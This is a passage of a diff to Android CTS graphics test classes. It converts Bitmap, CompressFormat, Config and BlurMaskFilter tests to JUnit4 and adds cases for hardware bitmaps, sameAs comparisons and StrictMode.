-        mBitmap.recycle();
-
-        try{
-            mBitmap.setPixels(colors, 0, 0, 0, 0, 0, 0);
-            fail("shouldn't come to here");
-        }catch(IllegalStateException e){
-        }
-
+    @Test(expected=IllegalStateException.class)
+    public void testSetPixelOnImmutable() {
+        int color = 0xff << 24;
         mBitmap = BitmapFactory.decodeResource(mRes, R.drawable.start, mOptions);
 
-        // abnormal case: the bitmap is immutable
-        try{
-            mBitmap.setPixels(colors, 0, 0, 0, 0, 0, 0);
-            fail("shouldn't come to here");
-        }catch(IllegalStateException e){
-        }
+        mBitmap.setPixel(10, 16, color);
+    }
 
+    @Test(expected=IllegalArgumentException.class)
+    public void testSetPixelXIsTooLarge() {
+        int color = 0xff << 24;
+        mBitmap = Bitmap.createBitmap(100, 200, Bitmap.Config.RGB_565);
+
+        // abnormal case: x bigger than the source bitmap's width
+        mBitmap.setPixel(200, 16, color);
+    }
+
+    @Test(expected=IllegalArgumentException.class)
+    public void testSetPixelYIsTooLarge() {
+        int color = 0xff << 24;
+        mBitmap = Bitmap.createBitmap(100, 200, Bitmap.Config.RGB_565);
+
+        // abnormal case: y bigger than the source bitmap's height
+        mBitmap.setPixel(10, 300, color);
+    }
+
+    @Test
+    public void testSetPixel() {
+        int color = 0xff << 24;
+        mBitmap = Bitmap.createBitmap(100, 200, Bitmap.Config.RGB_565);
+
+        // normal case
+        mBitmap.setPixel(10, 16, color);
+        assertEquals(color, mBitmap.getPixel(10, 16));
+    }
+
+    @Test(expected=IllegalStateException.class)
+    public void testSetPixelsOnRecycled() {
+        int[] colors = createColors(100);
+
+        mBitmap.recycle();
+        mBitmap.setPixels(colors, 0, 0, 0, 0, 0, 0);
+    }
+
+    @Test(expected=IllegalStateException.class)
+    public void testSetPixelsOnImmutable() {
+        int[] colors = createColors(100);
+        mBitmap = BitmapFactory.decodeResource(mRes, R.drawable.start, mOptions);
+
+        mBitmap.setPixels(colors, 0, 0, 0, 0, 0, 0);
+    }
+
+    @Test(expected=IllegalArgumentException.class)
+    public void testSetPixelsXYNegative() {
+        int[] colors = createColors(100);
         mBitmap = Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888);
 
         // abnormal case: x and/or y less than 0
-        try{
-            mBitmap.setPixels(colors, 0, 0, -1, -1, 200, 16);
-            fail("shouldn't come to here");
-        }catch(IllegalArgumentException e){
-        }
+        mBitmap.setPixels(colors, 0, 0, -1, -1, 200, 16);
+    }
+
+    @Test(expected=IllegalArgumentException.class)
+    public void testSetPixelsWidthHeightNegative() {
+        int[] colors = createColors(100);
+        mBitmap = Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888);
 
         // abnormal case: width and/or height less than 0
-        try{
-            mBitmap.setPixels(colors, 0, 0, 0, 0, -1, -1);
-            fail("shouldn't come to here");
-        }catch(IllegalArgumentException e){
-        }
+        mBitmap.setPixels(colors, 0, 0, 0, 0, -1, -1);
+    }
+
+    @Test(expected=IllegalArgumentException.class)
+    public void testSetPixelsXTooHigh() {
+        int[] colors = createColors(100);
+        mBitmap = Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888);
 
         // abnormal case: (x + width) bigger than the source bitmap's width
-        try{
-            mBitmap.setPixels(colors, 0, 0, 10, 10, 95, 50);
-            fail("shouldn't come to here");
-        }catch(IllegalArgumentException e){
-        }
+        mBitmap.setPixels(colors, 0, 0, 10, 10, 95, 50);
+    }
+
+    @Test(expected=IllegalArgumentException.class)
+    public void testSetPixelsYTooHigh() {
+        int[] colors = createColors(100);
+        mBitmap = Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888);
 
         // abnormal case: (y + height) bigger than the source bitmap's height
-        try{
-            mBitmap.setPixels(colors, 0, 0, 10, 10, 50, 95);
-            fail("shouldn't come to here");
-        }catch(IllegalArgumentException e){
-        }
+        mBitmap.setPixels(colors, 0, 0, 10, 10, 50, 95);
+    }
+
+    @Test(expected=IllegalArgumentException.class)
+    public void testSetPixelsStrideIllegal() {
+        int[] colors = createColors(100);
+        mBitmap = Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888);
 
         // abnormal case: stride less than width and bigger than -width
-        try{
-            mBitmap.setPixels(colors, 0, 10, 10, 10, 50, 50);
-            fail("shouldn't come to here");
-        }catch(IllegalArgumentException e){
-        }
+        mBitmap.setPixels(colors, 0, 10, 10, 10, 50, 50);
+    }
+
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testSetPixelsOffsetNegative() {
+        int[] colors = createColors(100);
+        mBitmap = Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888);
 
         // abnormal case: offset less than 0
-        try{
-            mBitmap.setPixels(colors, -1, 50, 10, 10, 50, 50);
-            fail("shouldn't come to here");
-        }catch(ArrayIndexOutOfBoundsException e){
-        }
+        mBitmap.setPixels(colors, -1, 50, 10, 10, 50, 50);
+    }
+
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testSetPixelsOffsetTooBig() {
+        int[] colors = createColors(100);
+        mBitmap = Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888);
 
         // abnormal case: (offset + width) bigger than the length of colors
-        try{
-            mBitmap.setPixels(colors, 60, 50, 10, 10, 50, 50);
-            fail("shouldn't come to here");
-        }catch(ArrayIndexOutOfBoundsException e){
-        }
+        mBitmap.setPixels(colors, 60, 50, 10, 10, 50, 50);
+    }
+
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testSetPixelsLastScanlineNegative() {
+        int[] colors = createColors(100);
+        mBitmap = Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888);
 
         // abnormal case: lastScanline less than 0
-        try{
-            mBitmap.setPixels(colors, 10, -50, 10, 10, 50, 50);
-            fail("shouldn't come to here");
-        }catch(ArrayIndexOutOfBoundsException e){
-        }
+        mBitmap.setPixels(colors, 10, -50, 10, 10, 50, 50);
+    }
+
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testSetPixelsLastScanlineTooBig() {
+        int[] colors = createColors(100);
+        mBitmap = Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888);
 
         // abnormal case: (lastScanline + width) bigger than the length of colors
-        try{
-            mBitmap.setPixels(colors, 10, 50, 10, 10, 50, 50);
-            fail("shouldn't come to here");
-        }catch(ArrayIndexOutOfBoundsException e){
-        }
+        mBitmap.setPixels(colors, 10, 50, 10, 10, 50, 50);
+    }
 
-        // normal case
-        colors = createColors(100 * 100);
+    @Test
+    public void testSetPixels() {
+        int[] colors = createColors(100 * 100);
+        mBitmap = Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888);
         mBitmap.setPixels(colors, 0, 100, 0, 0, 100, 100);
         int[] ret = new int[100 * 100];
         mBitmap.getPixels(ret, 0, 100, 0, 0, 100, 100);
@@ -815,7 +980,7 @@
         }
     }
 
-    private void checkPremultipliedBitmapConfig(Config config, boolean expectedPremul) {
+    private void verifyPremultipliedBitmapConfig(Config config, boolean expectedPremul) {
         Bitmap bitmap = Bitmap.createBitmap(1, 1, config);
         bitmap.setPremultiplied(true);
         bitmap.setPixel(0, 0, Color.TRANSPARENT);
@@ -825,13 +990,15 @@
         assertFalse(bitmap.isPremultiplied());
     }
 
+    @Test
     public void testSetPremultipliedSimple() {
-        checkPremultipliedBitmapConfig(Bitmap.Config.ALPHA_8, true);
-        checkPremultipliedBitmapConfig(Bitmap.Config.RGB_565, false);
-        checkPremultipliedBitmapConfig(Bitmap.Config.ARGB_4444, true);
-        checkPremultipliedBitmapConfig(Bitmap.Config.ARGB_8888, true);
+        verifyPremultipliedBitmapConfig(Bitmap.Config.ALPHA_8, true);
+        verifyPremultipliedBitmapConfig(Bitmap.Config.RGB_565, false);
+        verifyPremultipliedBitmapConfig(Bitmap.Config.ARGB_4444, true);
+        verifyPremultipliedBitmapConfig(Bitmap.Config.ARGB_8888, true);
     }
 
+    @Test
     public void testSetPremultipliedData() {
         // with premul, will store 2,2,2,2, so it doesn't get value correct
         Bitmap bitmap = Bitmap.createBitmap(1, 1, Bitmap.Config.ARGB_8888);
@@ -853,6 +1020,7 @@
         assertEquals(bitmap.getPixel(0, 0), PREMUL_COLOR);
     }
 
+    @Test
     public void testPremultipliedCanvas() {
         Bitmap bitmap = Bitmap.createBitmap(1, 1, Bitmap.Config.ARGB_8888);
         bitmap.setHasAlpha(true);
@@ -879,6 +1047,7 @@
         bitmap.copyPixelsFromBuffer(buffer);
     }
 
+    @Test
     public void testSetPremultipliedToBuffer() {
         Bitmap bitmap = Bitmap.createBitmap(1, 1, Bitmap.Config.ARGB_8888);
         bitmap.setPixel(0, 0, PREMUL_COLOR);
@@ -891,6 +1060,7 @@
         assertEquals(getBitmapRawInt(bitmap), storedPremul);
     }
 
+    @Test
     public void testSetPremultipliedFromBuffer() {
         Bitmap bitmap = Bitmap.createBitmap(1, 1, Bitmap.Config.ARGB_8888);
         bitmap.setPremultiplied(false);
@@ -903,6 +1073,7 @@
         assertEquals(bitmap.getPixel(0, 0), PREMUL_COLOR);
     }
 
+    @Test
     public void testSetWidth() {
         mBitmap = Bitmap.createBitmap(100, 200, Bitmap.Config.ARGB_8888);
         int alloc = mBitmap.getAllocationByteCount();
@@ -911,51 +1082,63 @@
         mBitmap.setWidth(50);
         assertEquals(mBitmap.getAllocationByteCount(), alloc);
         assertEquals(mBitmap.getByteCount() * 2, alloc);
-
-        // test expanding
-        try {
-            mBitmap.setWidth(101);
-            fail("shouldn't come to here");
-        } catch (IllegalArgumentException e) {
-        }
-
-        // test mutable
-        mBitmap = BitmapFactory.decodeResource(mRes, R.drawable.start, mOptions);
-        try {
-            mBitmap.setWidth(1);
-            fail("shouldn't come to here");
-        } catch (IllegalStateException e) {
-        }
     }
 
-    public void testWriteToParcel(){
+    @Test(expected=IllegalArgumentException.class)
+    public void testSetWidthExpanding() {
+        // test expanding
+        mBitmap = Bitmap.createBitmap(100, 200, Bitmap.Config.ARGB_8888);
+
+        mBitmap.setWidth(101);
+    }
+
+    @Test(expected=IllegalStateException.class)
+    public void testSetWidthMutable() {
+        // test mutable
+        mBitmap = BitmapFactory.decodeResource(mRes, R.drawable.start, mOptions);
+
+        mBitmap.setWidth(1);
+    }
+
+    @Test(expected=IllegalStateException.class)
+    public void testWriteToParcelRecycled() {
         mBitmap.recycle();
 
-        // abnormal case: the bitmap to be written has been recycled
-        try{
-            mBitmap.writeToParcel(null, 0);
-            fail("shouldn't come to here");
-        }catch(IllegalStateException e){
-        }
+        mBitmap.writeToParcel(null, 0);
+    }
 
+    @Test
+    public void testWriteToParcel() {
         // abnormal case: failed to unparcel Bitmap
         mBitmap = BitmapFactory.decodeResource(mRes, R.drawable.start, mOptions);
         Parcel p = Parcel.obtain();
         mBitmap.writeToParcel(p, 0);
 
-        try{
+        try {
             Bitmap.CREATOR.createFromParcel(p);
             fail("shouldn't come to here");
-        }catch(RuntimeException e){
+        } catch(RuntimeException e){
         }
 
         // normal case
+        p = Parcel.obtain();
         mBitmap = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
         mBitmap.writeToParcel(p, 0);
         p.setDataPosition(0);
-        mBitmap.equals(Bitmap.CREATOR.createFromParcel(p));
+        assertTrue(mBitmap.sameAs(Bitmap.CREATOR.createFromParcel(p)));
     }
 
+    @Test
+    public void testWriteHwBitmapToParcel() {
+        mBitmap = BitmapFactory.decodeResource(mRes, R.drawable.robot, HARDWARE_OPTIONS);
+        Parcel p = Parcel.obtain();
+        mBitmap.writeToParcel(p, 0);
+        p.setDataPosition(0);
+        Bitmap expectedBitmap = BitmapFactory.decodeResource(mRes, R.drawable.robot);
+        assertTrue(expectedBitmap.sameAs(Bitmap.CREATOR.createFromParcel(p)));
+    }
+
+    @Test
     public void testGetScaledHeight1() {
         int dummyDensity = 5;
         Bitmap ret = Bitmap.createBitmap(100, 200, Config.RGB_565);
@@ -964,14 +1147,16 @@
         assertEquals(scaledHeight, ret.getScaledHeight(dummyDensity));
     }
 
+    @Test
     public void testGetScaledHeight2() {
         Bitmap ret = Bitmap.createBitmap(100, 200, Config.RGB_565);
-        DisplayMetrics metrics = new DisplayMetrics();
-        metrics = getContext().getResources().getDisplayMetrics();
+        DisplayMetrics metrics =
+                InstrumentationRegistry.getTargetContext().getResources().getDisplayMetrics();
         int scaledHeight = scaleFromDensity(ret.getHeight(), ret.getDensity(), metrics.densityDpi);
         assertEquals(scaledHeight, ret.getScaledHeight(metrics));
     }
 
+    @Test
     public void testGetScaledHeight3() {
         Bitmap ret = Bitmap.createBitmap(100, 200, Config.RGB_565);
         Bitmap mMutableBitmap = Bitmap.createBitmap(100, 200, Config.ARGB_8888);
@@ -983,6 +1168,7 @@
         assertEquals(scaledHeight, ret.getScaledHeight(mCanvas));
     }
 
+    @Test
     public void testGetScaledWidth1() {
         int dummyDensity = 5;
         Bitmap ret = Bitmap.createBitmap(100, 200, Config.RGB_565);
@@ -991,14 +1177,16 @@
         assertEquals(scaledWidth, ret.getScaledWidth(dummyDensity));
     }
 
+    @Test
     public void testGetScaledWidth2() {
         Bitmap ret = Bitmap.createBitmap(100, 200, Config.RGB_565);
-        DisplayMetrics metrics = new DisplayMetrics();
-        metrics = getContext().getResources().getDisplayMetrics();
+        DisplayMetrics metrics =
+                InstrumentationRegistry.getTargetContext().getResources().getDisplayMetrics();
         int scaledWidth = scaleFromDensity(ret.getWidth(), ret.getDensity(), metrics.densityDpi);
         assertEquals(scaledWidth, ret.getScaledWidth(metrics));
     }
 
+    @Test
     public void testGetScaledWidth3() {
         Bitmap ret = Bitmap.createBitmap(100, 200, Config.RGB_565);
         Bitmap mMutableBitmap = Bitmap.createBitmap(100, 200, Config.ARGB_8888);
@@ -1009,7 +1197,275 @@
         assertEquals(scaledWidth, ret.getScaledWidth(mCanvas));
     }
 
-    private int scaleFromDensity(int size, int sdensity, int tdensity) {
+    @Test
+    public void testSameAs_simpleSuccess() {
+        Bitmap bitmap1 = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
+        Bitmap bitmap2 = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
+        bitmap1.eraseColor(Color.BLACK);
+        bitmap2.eraseColor(Color.BLACK);
+        assertTrue(bitmap1.sameAs(bitmap2));
+        assertTrue(bitmap2.sameAs(bitmap1));
+    }
+
+    @Test
+    public void testSameAs_simpleFail() {
+        Bitmap bitmap1 = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
+        Bitmap bitmap2 = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
+        bitmap1.eraseColor(Color.BLACK);
+        bitmap2.eraseColor(Color.BLACK);
+        bitmap2.setPixel(20, 10, Color.WHITE);
+        assertFalse(bitmap1.sameAs(bitmap2));
+        assertFalse(bitmap2.sameAs(bitmap1));
+    }
+
+    @Test
+    public void testSameAs_reconfigure() {
+        Bitmap bitmap1 = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
+        Bitmap bitmap2 = Bitmap.createBitmap(150, 150, Config.ARGB_8888);
+        bitmap2.reconfigure(100, 100, Config.ARGB_8888); // now same size, so should be same
+        bitmap1.eraseColor(Color.BLACK);
+        bitmap2.eraseColor(Color.BLACK);
+        assertTrue(bitmap1.sameAs(bitmap2));
+        assertTrue(bitmap2.sameAs(bitmap1));
+    }
+
+    @Test
+    public void testSameAs_config() {
+        Bitmap bitmap1 = Bitmap.createBitmap(100, 200, Config.RGB_565);
+        Bitmap bitmap2 = Bitmap.createBitmap(100, 200, Config.ARGB_8888);
+
+        // both bitmaps can represent black perfectly
+        bitmap1.eraseColor(Color.BLACK);
+        bitmap2.eraseColor(Color.BLACK);
+
+        // but not same due to config
+        assertFalse(bitmap1.sameAs(bitmap2));
+        assertFalse(bitmap2.sameAs(bitmap1));
+    }
+
+    @Test
+    public void testSameAs_width() {
+        Bitmap bitmap1 = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
+        Bitmap bitmap2 = Bitmap.createBitmap(101, 100, Config.ARGB_8888);
+        bitmap1.eraseColor(Color.BLACK);
+        bitmap2.eraseColor(Color.BLACK);
+        assertFalse(bitmap1.sameAs(bitmap2));
+        assertFalse(bitmap2.sameAs(bitmap1));
+    }
+
+    @Test
+    public void testSameAs_height() {
+        Bitmap bitmap1 = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
+        Bitmap bitmap2 = Bitmap.createBitmap(102, 100, Config.ARGB_8888);
+        bitmap1.eraseColor(Color.BLACK);
+        bitmap2.eraseColor(Color.BLACK);
+        assertFalse(bitmap1.sameAs(bitmap2));
+        assertFalse(bitmap2.sameAs(bitmap1));
+    }
+
+    @Test
+    public void testSameAs_opaque() {
+        Bitmap bitmap1 = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
+        Bitmap bitmap2 = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
+        bitmap1.eraseColor(Color.BLACK);
+        bitmap2.eraseColor(Color.BLACK);
+        bitmap1.setHasAlpha(true);
+        bitmap2.setHasAlpha(false);
+        assertFalse(bitmap1.sameAs(bitmap2));
+        assertFalse(bitmap2.sameAs(bitmap1));
+    }
+
+    @Test
+    public void testSameAs_hardware() {
+        Bitmap bitmap1 = BitmapFactory.decodeResource(mRes, R.drawable.robot, HARDWARE_OPTIONS);
+        Bitmap bitmap2 = BitmapFactory.decodeResource(mRes, R.drawable.robot, HARDWARE_OPTIONS);
+        Bitmap bitmap3 = BitmapFactory.decodeResource(mRes, R.drawable.robot);
+        Bitmap bitmap4 = BitmapFactory.decodeResource(mRes, R.drawable.start, HARDWARE_OPTIONS);
+        assertTrue(bitmap1.sameAs(bitmap2));
+        assertTrue(bitmap2.sameAs(bitmap1));
+        assertFalse(bitmap1.sameAs(bitmap3));
+        assertFalse(bitmap1.sameAs(bitmap4));
+    }
+
+    @Test(expected=IllegalStateException.class)
+    public void testHardwareGetPixel() {
+        Bitmap bitmap = BitmapFactory.decodeResource(mRes, R.drawable.robot, HARDWARE_OPTIONS);
+        bitmap.getPixel(0, 0);
+    }
+
+    @Test(expected=IllegalStateException.class)
+    public void testHardwareGetPixels() {
+        Bitmap bitmap = BitmapFactory.decodeResource(mRes, R.drawable.robot, HARDWARE_OPTIONS);
+        bitmap.getPixels(new int[5], 0, 5, 0, 0, 5, 1);
+    }
+
+    @Test
+    public void testGetConfigOnRecycled() {
+        Bitmap bitmap1 = BitmapFactory.decodeResource(mRes, R.drawable.robot, HARDWARE_OPTIONS);
+        bitmap1.recycle();
+        assertEquals(Config.HARDWARE, bitmap1.getConfig());
+        Bitmap bitmap2 = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
+        bitmap2.recycle();
+        assertEquals(Config.ARGB_8888, bitmap2.getConfig());
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testHardwareSetWidth() {
+        Bitmap bitmap = BitmapFactory.decodeResource(mRes, R.drawable.robot, HARDWARE_OPTIONS);
+        bitmap.setWidth(30);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testHardwareSetHeight() {
+        Bitmap bitmap = BitmapFactory.decodeResource(mRes, R.drawable.robot, HARDWARE_OPTIONS);
+        bitmap.setHeight(30);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testHardwareSetConfig() {
+        Bitmap bitmap = BitmapFactory.decodeResource(mRes, R.drawable.robot, HARDWARE_OPTIONS);
+        bitmap.setConfig(Config.ARGB_8888);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testHardwareReconfigure() {
+        Bitmap bitmap = BitmapFactory.decodeResource(mRes, R.drawable.robot, HARDWARE_OPTIONS);
+        bitmap.reconfigure(30, 30, Config.ARGB_8888);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testHardwareSetPixels() {
+        Bitmap bitmap = BitmapFactory.decodeResource(mRes, R.drawable.robot, HARDWARE_OPTIONS);
+        bitmap.setPixels(new int[10], 0, 1, 0, 0, 1, 1);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testHardwareSetPixel() {
+        Bitmap bitmap = BitmapFactory.decodeResource(mRes, R.drawable.robot, HARDWARE_OPTIONS);
+        bitmap.setPixel(1, 1, 0);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testHardwareEraseColor() {
+        Bitmap bitmap = BitmapFactory.decodeResource(mRes, R.drawable.robot, HARDWARE_OPTIONS);
+        bitmap.eraseColor(0);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testHardwareCopyPixelsToBuffer() {
+        Bitmap bitmap = BitmapFactory.decodeResource(mRes, R.drawable.start, HARDWARE_OPTIONS);
+        ByteBuffer byteBuf = ByteBuffer.allocate(bitmap.getRowBytes() * bitmap.getHeight());
+        bitmap.copyPixelsToBuffer(byteBuf);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testHardwareCopyPixelsFromBuffer() {
+        IntBuffer intBuf1 = IntBuffer.allocate(mBitmap.getRowBytes() * mBitmap.getHeight());
+        assertEquals(0, intBuf1.position());
+        mBitmap.copyPixelsToBuffer(intBuf1);
+        Bitmap hwBitmap = BitmapFactory.decodeResource(mRes, R.drawable.start, HARDWARE_OPTIONS);
+        hwBitmap.copyPixelsFromBuffer(intBuf1);
+    }
+
+    @Test
+    public void testUseMetadataAfterRecycle() {
+        Bitmap bitmap = Bitmap.createBitmap(10, 20, Config.RGB_565);
+        bitmap.recycle();
+        assertEquals(10, bitmap.getWidth());
+        assertEquals(20, bitmap.getHeight());
+        assertEquals(Config.RGB_565, bitmap.getConfig());
+    }
+
+    @Test
+    public void testCopyHWBitmapInStrictMode() {
+        strictModeTest(()->{
+            Bitmap bitmap = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
+            Bitmap hwBitmap = bitmap.copy(Config.HARDWARE, false);
+            hwBitmap.copy(Config.ARGB_8888, false);
+        });
+    }
+
+    @Test
+    public void testCreateScaledFromHWInStrictMode() {
+        strictModeTest(()->{
+            Bitmap bitmap = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
+            Bitmap hwBitmap = bitmap.copy(Config.HARDWARE, false);
+            Bitmap.createScaledBitmap(hwBitmap, 200, 200, false);
+        });
+    }
+
+    @Test
+    public void testExtractAlphaFromHWInStrictMode() {
+        strictModeTest(()->{
+            Bitmap bitmap = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
+            Bitmap hwBitmap = bitmap.copy(Config.HARDWARE, false);
+            hwBitmap.extractAlpha();
+        });
+    }
+
+    @Test
+    public void testCompressInStrictMode() {
+        strictModeTest(()->{
+            Bitmap bitmap = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
+            bitmap.compress(CompressFormat.JPEG, 90, new ByteArrayOutputStream());
+        });
+    }
+
+    @Test
+    public void testParcelHWInStrictMode() {
+        strictModeTest(()->{
+            mBitmap = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
+            Bitmap hwBitmap = mBitmap.copy(Config.HARDWARE, false);
+            hwBitmap.writeToParcel(Parcel.obtain(), 0);
+        });
+    }
+
+    @Test
+    public void testSameAsFirstHWInStrictMode() {
+        strictModeTest(()->{
+            Bitmap bitmap = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
+            Bitmap hwBitmap = bitmap.copy(Config.HARDWARE, false);
+            hwBitmap.sameAs(bitmap);
+        });
+    }
+
+    @Test
+    public void testSameAsSecondHWInStrictMode() {
+        strictModeTest(()->{
+            Bitmap bitmap = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
+            Bitmap hwBitmap = bitmap.copy(Config.HARDWARE, false);
+            bitmap.sameAs(hwBitmap);
+        });
+    }
+
+    @Test
+    public void testNdkAccessAfterRecycle() {
+        Bitmap bitmap = Bitmap.createBitmap(10, 20, Config.RGB_565);
+        nValidateBitmapInfo(bitmap, 10, 20, true);
+        bitmap.recycle();
+        nValidateBitmapInfo(bitmap, 10, 20, true);
+        nValidateNdkAccessAfterRecycle(bitmap);
+    }
+
+    private void strictModeTest(Runnable runnable) {
+        StrictMode.ThreadPolicy originalPolicy = StrictMode.getThreadPolicy();
+        StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder()
+                .detectCustomSlowCalls().penaltyDeath().build());
+        try {
+            runnable.run();
+            fail("Shouldn't reach it");
+        } catch (RuntimeException expected){
+            // expect to receive StrictModeViolation
+        } finally {
+            StrictMode.setThreadPolicy(originalPolicy);
+        }
+    }
+
+    private static native void nValidateBitmapInfo(Bitmap bitmap, int width, int height,
+            boolean is565);
+    private static native void nValidateNdkAccessAfterRecycle(Bitmap bitmap);
+
+    private static int scaleFromDensity(int size, int sdensity, int tdensity) {
         if (sdensity == Bitmap.DENSITY_NONE || sdensity == tdensity) {
             return size;
         }
@@ -1018,7 +1474,7 @@
         return ((size * tdensity) + (sdensity >> 1)) / sdensity;
     }
 
-    private int[] createColors(int size){
+    private static int[] createColors(int size) {
         int[] colors = new int[size];
 
         for (int i = 0; i < size; i++) {
@@ -1027,4 +1483,10 @@
 
         return colors;
     }
+
+    private static BitmapFactory.Options createHardwareBitmapOptions() {
+        BitmapFactory.Options options = new BitmapFactory.Options();
+        options.inPreferredConfig = Config.HARDWARE;
+        return options;
+    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/Bitmap_CompressFormatTest.java b/tests/tests/graphics/src/android/graphics/cts/Bitmap_CompressFormatTest.java
index 8ae4133..30294d0 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Bitmap_CompressFormatTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Bitmap_CompressFormatTest.java
@@ -15,21 +15,31 @@
  */
 package android.graphics.cts;
 
-import java.io.ByteArrayOutputStream;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
 
 import android.graphics.Bitmap;
 import android.graphics.Bitmap.CompressFormat;
 import android.graphics.Bitmap.Config;
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class Bitmap_CompressFormatTest extends AndroidTestCase{
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+import java.io.ByteArrayOutputStream;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class Bitmap_CompressFormatTest {
+    @Test
     public void testValueOf(){
         assertEquals(CompressFormat.JPEG, CompressFormat.valueOf("JPEG"));
         assertEquals(CompressFormat.PNG, CompressFormat.valueOf("PNG"));
         assertEquals(CompressFormat.WEBP, CompressFormat.valueOf("WEBP"));
     }
 
+    @Test
     public void testValues(){
         CompressFormat[] comFormat = CompressFormat.values();
 
diff --git a/tests/tests/graphics/src/android/graphics/cts/Bitmap_ConfigTest.java b/tests/tests/graphics/src/android/graphics/cts/Bitmap_ConfigTest.java
index e097b5a..babcf91 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Bitmap_ConfigTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Bitmap_ConfigTest.java
@@ -15,32 +15,47 @@
  */
 package android.graphics.cts;
 
-import junit.framework.TestCase;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
 import android.graphics.Bitmap;
 import android.graphics.Bitmap.Config;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class Bitmap_ConfigTest extends TestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class Bitmap_ConfigTest {
+    @Test
     public void testValueOf(){
         assertEquals(Config.ALPHA_8, Config.valueOf("ALPHA_8"));
         assertEquals(Config.RGB_565, Config.valueOf("RGB_565"));
         assertEquals(Config.ARGB_4444, Config.valueOf("ARGB_4444"));
         assertEquals(Config.ARGB_8888, Config.valueOf("ARGB_8888"));
+        assertEquals(Config.RGBA_F16, Config.valueOf("RGBA_F16"));
     }
 
+    @Test
     public void testValues(){
         Config[] config = Config.values();
 
-        assertTrue(config.length >= 4);
+        assertTrue(config.length >= 6);
         assertEquals(Config.ALPHA_8, config[0]);
         assertEquals(Config.RGB_565, config[1]);
         assertEquals(Config.ARGB_4444, config[2]);
         assertEquals(Config.ARGB_8888, config[3]);
+        assertEquals(Config.RGBA_F16, config[4]);
+        assertEquals(Config.HARDWARE, config[5]);
 
-        //Config is used as a argument here for all the methods that use it
+        // Config is used as a argument here for all the methods that use it
         assertNotNull(Bitmap.createBitmap(10, 24, Config.ALPHA_8));
         assertNotNull(Bitmap.createBitmap(10, 24, Config.ARGB_4444));
         assertNotNull(Bitmap.createBitmap(10, 24, Config.ARGB_8888));
         assertNotNull(Bitmap.createBitmap(10, 24, Config.RGB_565));
+        assertNotNull(Bitmap.createBitmap(10, 24, Config.RGBA_F16));
     }
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/BlurMaskFilterTest.java b/tests/tests/graphics/src/android/graphics/cts/BlurMaskFilterTest.java
index 23ac16b..b315bc9 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BlurMaskFilterTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BlurMaskFilterTest.java
@@ -15,26 +15,32 @@
  */
 package android.graphics.cts;
 
+import static org.junit.Assert.assertEquals;
 
 import android.graphics.Bitmap;
+import android.graphics.Bitmap.Config;
 import android.graphics.BlurMaskFilter;
+import android.graphics.BlurMaskFilter.Blur;
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.Paint;
-import android.graphics.Bitmap.Config;
-import android.graphics.BlurMaskFilter.Blur;
-import android.util.Log;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class BlurMaskFilterTest extends TestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class BlurMaskFilterTest {
     private static final int OFFSET = 10;
     private static final int RADIUS = 5;
